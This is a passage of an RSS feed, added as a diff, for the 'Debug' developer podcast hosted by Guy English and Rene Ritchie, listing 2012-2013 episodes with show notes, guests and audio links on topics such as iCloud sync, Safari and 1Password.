+<li><a href="http://vemedio.com/support/instacast/faq/why-is-icloud-sync-not-working">Why is iCloud Sync not working</a></li>
+
+<li><a href="http://informalprotocol.com/2012/11/your-app-needs-to-sync/">Your App Needs to Sync</a></li>
+
+<li><a href="http://www.theverge.com/2013/3/26/4148628/why-doesnt-icloud-just-work">Apple's broken promise: why doesn't iCloud 'just work'?</a></li>
+
+<li><a href="http://rms2.tumblr.com/post/46505165521/the-gathering-storm-our-travails-with-icloud-sync">The Gathering Storm: Our Travails with iCloud</a></li>
+
+<li><a href="http://thenextweb.com/apple/2013/03/27/which-icloud-actually-sucks/">A tale of two iClouds</a></li>
+
+<li><a href="http://inessential.com/2013/03/27/why_developers_shouldnt_use_icloud_sy">Why Developers Shouldn't Use iCloud Syncing, Even If It Worked</a></li>
+
+<li><a href="http://www.atomicbird.com/blog/icloud-sotu">iCloud: State of the Union</a></li>
+
+<li><a href="http://carpeaqua.com/2013/03/28/why-elements-for-icloud-doesn-t-exist/">Why Elements For iCloud Doesn't Exist</a></li>
+</ul>
+
+<h2>Guests</h2>
+
+<ul>
+<li><a href="https://twitter.com/dlpasco">Daniel Pasco</a> of <a href="http://blackpixel.com">Black Pixel</a></li>
+
+<li><a href="https://twitter.com/brentsimmons">Brent Simmons</a> of <a href="http://inessential.com">Ranchero Software</a></li>
+
+<li><a href="https://twitter.com/justin">Justin Williams</a> of <a href="http://carpeaqua.com">Second Gear</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li><a href="http://twitter.com/gte">Guy English</a> of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+
+<li><a href="http://twitter.com/reneritchie/">Rene Ritchie</a> of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Fri, 05 Apr 2013 09:29:20 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug12b.mp3" length="26535352" type="audio/mpeg" />
+ <guid isPermaLink="false">D0383366-0078-4954-897C-27A86281A260</guid>
+ <itunes:author>Guy English, Rene Ritchie, Daniel Pasco, Brent Simmons, Justin Williams</itunes:author>
+ <itunes:subtitle>Daniel Pasco of Black Pixel, Brent Simmons of Ranchero Software, and Justin Williams of Second Gear talk to Guy and Rene about iCloud Core Data sync, why everyone seems to be in a bad mood about it, and how, if at all, Apple can fix it.</itunes:subtitle>
+ <itunes:summary>Daniel Pasco of Black Pixel, Brent Simmons of Ranchero Software, and Justin Williams of Second Gear talk to Guy and Rene about iCloud Core Data sync, why everyone seems to be in a bad mood about it, and how, if at all, Apple can fix it.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:10:24</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug12b.mp3" fileSize="26535352" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 11.1: Don Melton on Blink, Servo, and more</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Don Melton, former Engineering Director of Internet Technologies at Apple, returns for a special follow-up episode with Guy and Rene to discuss the newly announced Google Blink and Mozilla/Samsung Servo HTML rendering engines, and to tell us what us which new bear he's trying to get dancing.]]></description>
+ <pubDate>Fri, 24 May 2013 01:59:36 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug11-1.mp3" length="74556038" type="audio/mpeg" />
+ <guid isPermaLink="false">88949BDD-9354-4AF7-B91D-B66B16123E70</guid>
+ <itunes:author>Guy English, Rene Ritchie, Don Melton</itunes:author>
+ <itunes:subtitle>Don Melton, former Engineering Director of Internet Technologies at Apple, returns for a special follow-up episode with Guy and Rene to discuss the newly announced Google Blink and Mozilla/Samsung Servo HTML rendering engines, and more.</itunes:subtitle>
+ <itunes:summary>Don Melton, former Engineering Director of Internet Technologies at Apple, returns for a special follow-up episode with Guy and Rene to discuss the newly announced Google Blink and Mozilla/Samsung Servo HTML rendering engines, and to tell us what us which new bear he's trying to get dancing.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:41:53</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug11-1.mp3" fileSize="74556038" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 11: Don Melton and Safari</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[<p>Don Melton, former Engineering Director of Internet Technologies at Apple, talks to Guy and Rene about assembler on the Apple II, open-sourcing Mozilla, building Nautilus, creating WebKit and the Safari browser, teaching bears to dance, and cleaning cusses from code bases.</p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://bitsplitting.org/podcast/episode-1-guy-english/">Bitsplitting Podcast Episode 1: Guy English</a></li>
+<li><a href="http://clickmovement.org/coderush">Code Rush documentary</a></li>
+<li><a href="http://en.wikipedia.org/wiki/Nautilus_(file_manager">Nautilus file manager</a></li>
+<li><a href="http://www.webkit.org">WebKit.org</a></li>
+<li><a href="http://www.apple.com/safari/">Safari</a></li>
+<li><a href="http://donmelton.com/2013/01/03/keeping-safari-a-secret/">Keeping Safari a secret</a></li>
+<li><a href="http://donmelton.com/2013/01/10/safari-is-released-to-the-world/">Safari is released to the world</a></li>
+<li><a href="http://donmelton.com/2013/02/17/why-i-retired-from-apple/">Why I retired from Apple</a></li>
+<li><a href="http://donmelton.com/2013/03/18/regarding-fake-projects-and-loyalty-tests/">Regarding fake projects and loyalty tests</a></li>
+</ul>
+
+
+<h2>Guests</h2>
+
+<ul>
+<li><a href="https://twitter.com/donmelton">Don Melton</a> of <a href="http://donmelton.com">donmelton.com</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li><a href="http://twitter.com/gte">Guy English</a> of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+<li><a href="http://twitter.com/reneritchie/">Rene Ritchie</a> of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Mon, 25 Mar 2013 10:11:51 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug11b.mp3" length="67903573" type="audio/mpeg" />
+ <guid isPermaLink="false">2BD69044-B6A1-4DA6-BB22-E3B76D96EE01</guid>
+ <itunes:author>Guy English, Rene Ritchie, Don Melton</itunes:author>
+ <itunes:subtitle>Don Melton, former Engineering Director of Internet Technologies at Apple, talks to Guy and Rene about open-sourcing Mozilla, building Nautilus, creating WebKit and the Safari browser, teaching bears to dance, and cleaning cusses from code bases.</itunes:subtitle>
+ <itunes:summary>Don Melton, former Engineering Director of Internet Technologies at Apple, talks to Guy and Rene about assembler on the Apple II, open-sourcing Mozilla, building Nautilus, creating WebKit and the Safari browser, teaching bears to dance, and cleaning cusses from code bases.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:32:39</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug11b.mp3" fileSize="67903573" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 10: Tammy Coron of Nickelfish</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[<p>Tammy Coron of Nickelfish talks with Guy and Rene about coding (and re-coding!) the iMore app, the TRS-80 and text adventures, computers in schools, teaching kids to code, and surviving the zombie apocalypse. </p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://justwritecode.net">Just Write Code</a></li>
+<li><a href="http://www.amazon.com/Happy-Birthday-Puppy-See-Book/dp/0977427706?tag=imoreb-20">Happy Birthday Puppy</a></li>
+<li><a href="http://www.raywenderlich.com/about#tammycoron">Ray Wenderlich</a></li>
+<li><a href="http://www.amazon.com/Hello-World-Carter-Sande-Warren/dp/3446421440/?tag=imoreb-20">Hello World</a></li>
+</ul>
+
+<h2>Guests</h2>
+
+<ul>
+<li><a href="https://twitter.com/Paradox927">@Paradox927</a> of <a href="http://nickelfish">Nickelfish</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li><a href="http://twitter.com/gte">Guy English</a> of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+<li><a href="http://twitter.com/reneritchie/">Rene Ritchie</a> of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Mon, 18 Mar 2013 16:16:40 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug10.mp3" length="27229985" type="audio/mpeg" />
+ <guid isPermaLink="false">133A42F1-5AC1-45EF-A7EC-1F8BF36E3E5F</guid>
+ <itunes:author>Guy English, Rene Ritchie, Tammy Coron</itunes:author>
+ <itunes:subtitle>Tammy Coron of Nickelfish talks with Guy and Rene about coding (and re-coding!) the iMore app, the TRS-80 and text adventures, computers in schools, teaching kids to code, and surviving the zombie apocalypse. </itunes:subtitle>
+ <itunes:summary>Tammy Coron of Nickelfish talks with Guy and Rene about coding (and re-coding!) the iMore app, the TRS-80 and text adventures, computers in schools, teaching kids to code, and surviving the zombie apocalypse. </itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:12:19</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug10.mp3" fileSize="27229985" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 9: Matt Drance, the Apple Outsider</title>
+ <link>http://www.imore.com/category/debug</link>
+ <description><![CDATA[<p>Matt Drance of Apple Outsider and Bookhouse talks with Guy and Rene about working at and with Apple, the unsung heroes of software,the difference between marketing and developer-driven management, how to get started, and twiddling the PS4 bits.</p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://appleoutsider.com">Apple Outsider</a></li>
+
+<li><a href="http://www.bookhousesoftware.com">Bookhouse Software</a></li>
+
+<li><a href="http://www.amazon.com/iOS-Recipes-Awesome-Pragmatic-Programmers/dp/1934356743">iOS Recipes: Tips and Tricks for Awesome iPhone and iPad Apps</a></li>
+
+<li><a href="http://www.khanacademy.org">Khan Academy</a></li>
+
+<li><a href="https://search.itunes.apple.com/WebObjects/MZSearch.woa/wa/search?submit=edit&amp;term=stanford%20ios#iTunesUPodcastEpisode">Stanford iOS courses on iTunes U</a></li>
+</ul>
+
+<h2>Guests</h2>
+
+<ul></li>
+
+<li>Matt Drance (<a href="twitter.com/drance">@drance</a>)</a> of <a href="http://appleoutsider.com">Apple Outsider</a> and <a href="http://www.bookhousesoftware.com">Bookhouse Software</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li>Guy English (<a href="http://twitter.com/gte">@gte</a>) of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+
+<li>Rene Ritchie (<a href="http://twitter.com/reneritchie/">@reneritchie</a>) of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Tue, 05 Mar 2013 13:28:26 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug09.mp3" length="67942766" type="audio/mpeg" />
+ <guid isPermaLink="false">B0BF75FA-B42D-4536-A732-4BA463D52DF1</guid>
+ <itunes:author>Guy English, Rene Ritchie, Matt Drance</itunes:author>
+ <itunes:subtitle>Matt Drance of Apple Outsider and Bookhouse talks with Guy and Rene about working at and with Apple, the unsung heroes of software,the difference between marketing and developer-driven management, how to get started, and twiddling the PS4 bits.</itunes:subtitle>
+ <itunes:summary>Matt Drance of Apple Outsider and Bookhouse talks with Guy and Rene about working at and with Apple, the unsung heroes of software,the difference between marketing and developer-driven management, how to get started, and twiddling the PS4 bits.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:32:42</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug09.mp3" fileSize="67942766" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug &amp; Iterate team-up: The future of human interface</title>
+ <link>http://www.imore.com/podcasts</link>
+ <description><![CDATA[Marc Edwards of Bjango, Guy English of Kicking Bear, Loren Brichter of Atebits, Sebastiaan de With of DoubleTwist, and Rene Ritchie of Mobile Nations talk human interfaces of the future, including Siri, Google Now, Kinect, Leap, MYO, Project Glass, iWatch, Oculus Rift, and more!]]></description>
+ <pubDate>Tue, 26 Feb 2013 13:35:06 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/teamup01.mp3" length="46972031" type="audio/mpeg" />
+ <guid isPermaLink="false">16AF3F1E-3DE2-4516-A9BC-EA89CE0F248C</guid>
+ <itunes:author>Marc Edwards, Guy English, Loren Brichter, Sebastiaan de With</itunes:author>
+ <itunes:subtitle>Marc Edwards of Bjango, Guy English of Kicking Bear, Loren Brichter of Atebits, Sebastiaan de With of DoubleTwist, and Rene Ritchie of Mobile Nations talk Siri, Google Now, Kinect, Leap, MYO, Project Glass, iWatch, Oculus Rift, and more!</itunes:subtitle>
+ <itunes:summary>Marc Edwards of Bjango, Guy English of Kicking Bear, Loren Brichter of Atebits, Sebastiaan de With of DoubleTwist, and Rene Ritchie of Mobile Nations talk human interfaces of the future, including Siri, Google Now, Kinect, Leap, MYO, Project Glass, iWatch, Oculus Rift, and more!</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:04:54</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/teamup01.mp3" fileSize="46972031" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 8: Grant Paul aka chpwn</title>
+ <link>http://www.imore.com/category/debug</link>
+ <description><![CDATA[Grant Paul, aka chpwn, talks to Guy and Rene about developing for jailbreak, hacking the Nintendo Wii, the architecture behind SpringBoard and Apple TV apps, Siri, the future of file systems, and taking things to 11.]]></description>
+ <pubDate>Fri, 22 Feb 2013 01:25:39 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug08.mp3" length="53708422" type="audio/mpeg" />
+ <guid isPermaLink="false">ADD0E589-8033-46BD-8862-AA86460A68BF</guid>
+ <itunes:author>Guy English, Rene Ritchie, Grand Paul</itunes:author>
+ <itunes:subtitle>Grant Paul, aka chpwn, talks to Guy and Rene about developing for jailbreak, hacking the Nintendo Wii, the architecture behind SpringBoard and Apple TV apps, Siri, the future of file systems, and taking things to 11.</itunes:subtitle>
+ <itunes:summary>Grant Paul, aka chpwn, talks to Guy and Rene about developing for jailbreak, hacking the Nintendo Wii, the architecture behind SpringBoard and Apple TV apps, Siri, the future of file systems, and taking things to 11.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:12:56</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug08.mp3" fileSize="53708422" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 7: Jordan Mechner and Karateka</title>
+ <link>http://www.imore.com/category/debug</link>
+ <description><![CDATA[Jordan Mechner of Karateka and Prince of Persia fame talks to Guy and Rene about coding for the Apple II, bringing cinematic storytelling to games, adapting for iOS, and the future of creative content.]]></description>
+ <pubDate>Mon, 04 Feb 2013 09:11:06 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug07.mp3" length="33647147" type="audio/mpeg" />
+ <guid isPermaLink="false">FCAFDFA1-30AD-41A5-80D6-991B99ADA8D8</guid>
+ <itunes:author>Guy English, Rene Ritchie, Jordan Mechner</itunes:author>
+ <itunes:subtitle>Jordan Mechner of Karateka and Prince of Persia fame talks to Guy and Rene about coding for the Apple II, bringing cinematic storytelling to games, adapting for iOS, and the future of creative content. </itunes:subtitle>
+ <itunes:summary>Jordan Mechner of Karateka and Prince of Persia fame talks to Guy and Rene about coding for the Apple II, bringing cinematic storytelling to games, adapting for iOS, and the future of creative content.
+
+&lt;h2&gt;Show notes&lt;/h2&gt;
+
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://jordanmechner.com"&gt;jordanmechner.com&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://itunes.apple.com/app/id560927460"&gt;Karateka for iOS&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://itunes.apple.com/app/id508049561"&gt;Last Express for iOS&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://jordanmechner.com/blog/2012/12/making-and-remaking-karateka/"&gt;Making and Remaking Karateka&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=YMx-_aFP1lQ&amp;amp;feature=player_embedded"&gt;Lonely Sandwich Karateka trailer&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://jordanmechner.com/blog/2013/01/announcing-templar/"&gt;Templar graphic novel&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;h2&gt;Guests&lt;/h2&gt;
+
+&lt;ul&gt;&lt;/li&gt;
+
+&lt;li&gt;Jordan Mechner (&lt;a href="twitter.com/jmechner"&gt;@jmechner&lt;/a&gt;)&lt;/a&gt; of &lt;a href="http://www.jordanmechner.com"&gt;jordanmechner.com&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;h2&gt;Hosts&lt;/h2&gt;
+
+&lt;ul&gt;
+
+&lt;li&gt;Guy English (&lt;a href="http://twitter.com/gte"&gt;@gte&lt;/a&gt;) of &lt;a href="http://www.kickingbear.com"&gt;Kicking Bear&lt;/a&gt;
+
+&lt;li&gt;Rene Ritchie (&lt;a href="http://twitter.com/reneritchie/"&gt;@reneritchie&lt;/a&gt;) of &lt;a href="http://www.imore.com/"&gt;iMore.com&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;h2&gt;Feedback&lt;/h2&gt;
+
+Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>45:04</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug07.mp3" fileSize="33647147" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 6: Adam Saltsman and Hundreds</title>
+ <link>http://www.imore.com/category/debug</link>
+ <description><![CDATA[<p>Adam Saltsman podcasts with Guy and Rene for 90 minutes before hitting a wall and tumbling to his death. Also, designing Canabalt and Hundreds, sketching in Flash and Flixel, and the power of swinging ropes.</p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://www.canabalt.com">Canabalt</a></li>
+
+<li><a href="http://playhundreds.com">Hundreds</a></li>
+
+<li><a href="http://thehungergamesgirlonfire.com">Hunger Games</a></li>
+
+<li><a href="http://www.oldspice.com/en-US/home-page.aspx">Old Spice</a></li>
+
+<li><a href="http://flixel.org">Flixel</a></li>
+
+<li><a href="http://www.dontstarvegame.com">Don't Starve</a></li>
+
+<li><a href="http://www.introversion.co.uk/prisonarchitect/">Prison Architect</a></li>
+
+<li><a href="http://www.spyparty.com">Spy Party</a></li>
+
+<li><a href="http://www.imore.com/how-use-guided-access-put-your-ipad-or-iphone-guest-user-mode">Guided Access</a></li>
+</ul>
+
+<h2>Guests</h2>
+
+<ul></li>
+
+<li>Adam Saltsman (<a href="twitter.com/ADAMATOMIC">@ADAMATOMIC</a>)</a> of <a href="http://adamatomic.com">Adam Atomic</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li>Guy English (<a href="http://twitter.com/gte">@gte</a>) of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+
+<li>Rene Ritchie (<a href="http://twitter.com/reneritchie/">@reneritchie</a>) of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Wed, 23 Jan 2013 23:27:21 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug06.mp3" length="34339943" type="audio/mpeg" />
+ <guid isPermaLink="false">6EC21993-FD4B-482D-B236-026973C8182D</guid>
+ <itunes:author>Guy English, Rene Ritchie, Adam Saltsman </itunes:author>
+ <itunes:subtitle>Adam Saltsman podcasts with Guy and Rene for 90 minutes before hitting a wall and tumbling to his death. Also, designing Canabalt and Hundreds, sketching in Flash and Flixel, and the power of swinging ropes.</itunes:subtitle>
+ <itunes:summary>Adam Saltsman podcasts with Guy and Rene for 90 minutes before hitting a wall and tumbling to his death. Also, designing Canabalt and Hundreds, sketching in Flash and Flixel, and the power of swinging ropes.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:32:04</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug06.mp3" fileSize="34339943" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 5: Craig Hockenberry, Sean Heber, and Twitterrific </title>
+ <link>http://www.iterate.tv/</link>
+ <description><![CDATA[<p>Craig Hockenberry and Sean Heber of the Iconfactory talk to Guy and Rene about Twitterrific 5, the early days of the iPhone, Chameleon, beefs with nibs, underscores, colons, and ternary operators, App Store realities, and the importance of blame avoidance optimization.</p>
+
+<h2>Show notes</h3>
+
+<ul>
+<li><a href="http://twitterrific.com/ios">Twitterrific 5</a></li>
+
+<li><a href="http://furbo.org/2012/12/06/behind-the-app-twitterrific-5/">Behind The App: Twitterrific 5</a></li>
+
+<li><a href="http://www.imore.com/iterate-35-maheux-and-lanham-twitterrific-5">Iterate 35: Gedeon Maheux, David Lanham and Twitterrific 5</a></li>
+
+<li><a href="http://iconfactory.com/software/xscope/">xScope</a></li>
+
+<li><a href="http://astronutapp.com">Astronut</a></li>
+
+<li><a href="http://iconfactory.com/software/flare/">Flare</a></li>
+
+<li><a href="http://chameleonproject.org">Chameleon: UIKit for Mac development</a></li>
+
+
+<p><li><a href="http://www.decremental.com/post/143598190/long-boring-history-of-the-early-days-of-tapulous">Long boring history of the early days of Tapulous</a></p>
+
+<li><a href="http://www.imore.com/hall-fame-craig-hockenberry-gedeon-maheux-and-twitteriffic">Hall of fame: Craig Hockenberry, Gedeon Maheux, and Twitteriffic</a></li>
+</ul>
+
+<h2>Guests</h2>
+
+<ul></li>
+
+<li>Craig Hockenberry (<a href="twitter.com/chockenberrry">@chockenberrry</a>))</a></li>
+
+<li>Sean Heber (<a href="twitter.com/BigZaphod">@BigZaphod</a>))</a></li>
+</ul>
+
+<p>Of the (<a href="http://theiconfactory.com">Iconfactory</a></p>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li>Guy English (<a href="http://twitter.com/gte">@gte</a>) of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+
+<li>Rene Ritchie (<a href="http://twitter.com/reneritchie/">@reneritchie</a>) of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Sat, 05 Jan 2013 12:10:24 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug05.mp3" length="40208762" type="audio/mpeg" />
+ <guid isPermaLink="false">9622C1B8-B1F8-47DA-819A-A0F79B549F23</guid>
+ <itunes:author>Guy English, Rene Ritchie, Craig Hockenberry, Sean Heber</itunes:author>
+ <itunes:subtitle>Craig Hockenberry and Sean Heber of the Iconfactory talk to Guy and Rene about Twitterrific 5, the early days of the iPhone, Chameleon, beefs with nibs, underscores, colons, and ternary operators, App Store realities, and blame avoidance optimization.</itunes:subtitle>
+ <itunes:summary>Craig Hockenberry and Sean Heber of the Iconfactory talk to Guy and Rene about Twitterrific 5, the early days of the iPhone, Chameleon, beefs with nibs, underscores, colons, and ternary operators, App Store realities, and the importance of blame avoidance optimization.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:48:23</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug05.mp3" fileSize="40208762" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 4: Dave Teare and 1Password</title>
+ <link>http://www.iterate.tv/</link>
+ <description><![CDATA[<p>Dave Teare, co-founder of Agile Bits and co-developer of 1Password for Mac, iOS, and pretty damn near everywhere else, talks to Guy and Rene about project management, killing features, customer support, the challenges of going cross-platform, and the motivational value of coding Java for HP.</p>
+
+<h2>Guest</h2>
+
+<ul></li>
+
+<li>Dave Teare (<a href="twitter.com/dteare">@dteare</a>) of <a href="http://www.agilebits.com/">AgileBits</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li>Guy English (<a href="http://twitter.com/gte">@gte</a>) of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+
+<li>Rene Ritchie (<a href="http://twitter.com/reneritchie/">@reneritchie</a>) of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Mon, 24 Dec 2012 17:30:42 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug04.mp3" length="50588280" type="audio/mpeg" />
+ <guid isPermaLink="false">3571E966-59FD-4E57-8FA8-FA781CF6EF22</guid>
+ <itunes:author>Guy English, Rene Ritchie, Dave Teare</itunes:author>
+ <itunes:subtitle>Dave Teare, co-founder of Agile Bits and co-developer of 1Password for Mac, iOS, talks to Guy and Rene about project management, killing features, customer support, the challenges of going cross-platform, and the motivational value of coding Java for HP.</itunes:subtitle>
+ <itunes:summary>Dave Teare, co-founder of Agile Bits and co-developer of 1Password for Mac, iOS, and pretty damn near everywhere else, talks to Guy and Rene about project management, killing features, customer support, the challenges of going cross-platform, and the motivational value of coding Java for HP.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:08:36</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug04.mp3" fileSize="50588280" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 3: Jury and Kaleidoscope 2</title>
+ <link>http://www.iterate.tv/</link>
+ <description><![CDATA[<p>Michael Jurewitz (Jury), formerly developer tools evangelist at Apple, now director of product development at Black Pixel, talks to Guy and Rene about Kaleidoscope 2, the realities of Apple, how to ship software, how to price software, and dealing with that Daft Punk helmet.</p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://www.imore.com/comment/376465#comment-376465">Makim schooling us on WebObjects</a></li>
+
+<li><a href="http://wiki.wocommunity.org/display/documentation/Home">Project Wonder</a></li>
+
+<li><a href="http://www.merowing.info/2012/04/drawing-smooth-lines-with-cocos2d-ios-inspired-by-paper/">Drawing smooth lines with cocos2d iOS inspired by Paper</a></li>
+
+<li><a href="http://foldifyapp.com">Foldify for iPad</a></li>
+
+<li><a href="http://www.barebones.com/support/bbedit/updates.html#up10">BBEdit 10.5</a></li>
+
+<li><a href="http://flexibits.com/fantastical-iphone">Fantastical</a></li>
+
+<li><a href="http://cingleton.com/en/">Çingleton 2</a></li>
+</ul>
+
+<h2>Guest</h2>
+
+<ul></li>
+
+<li>Michael Jurewitz (<a href="twitter.com/jury">@jury</a>) of <a href="http://www.blackpixel.com/">Black Pixel</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li>Guy English (<a href="http://twitter.com/gte">@gte</a>) of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+
+<li>Rene Ritchie (<a href="http://twitter.com/reneritchie/">@reneritchie</a>) of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Mon, 10 Dec 2012 21:25:08 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug03.mp3" length="56508466" type="audio/mpeg" />
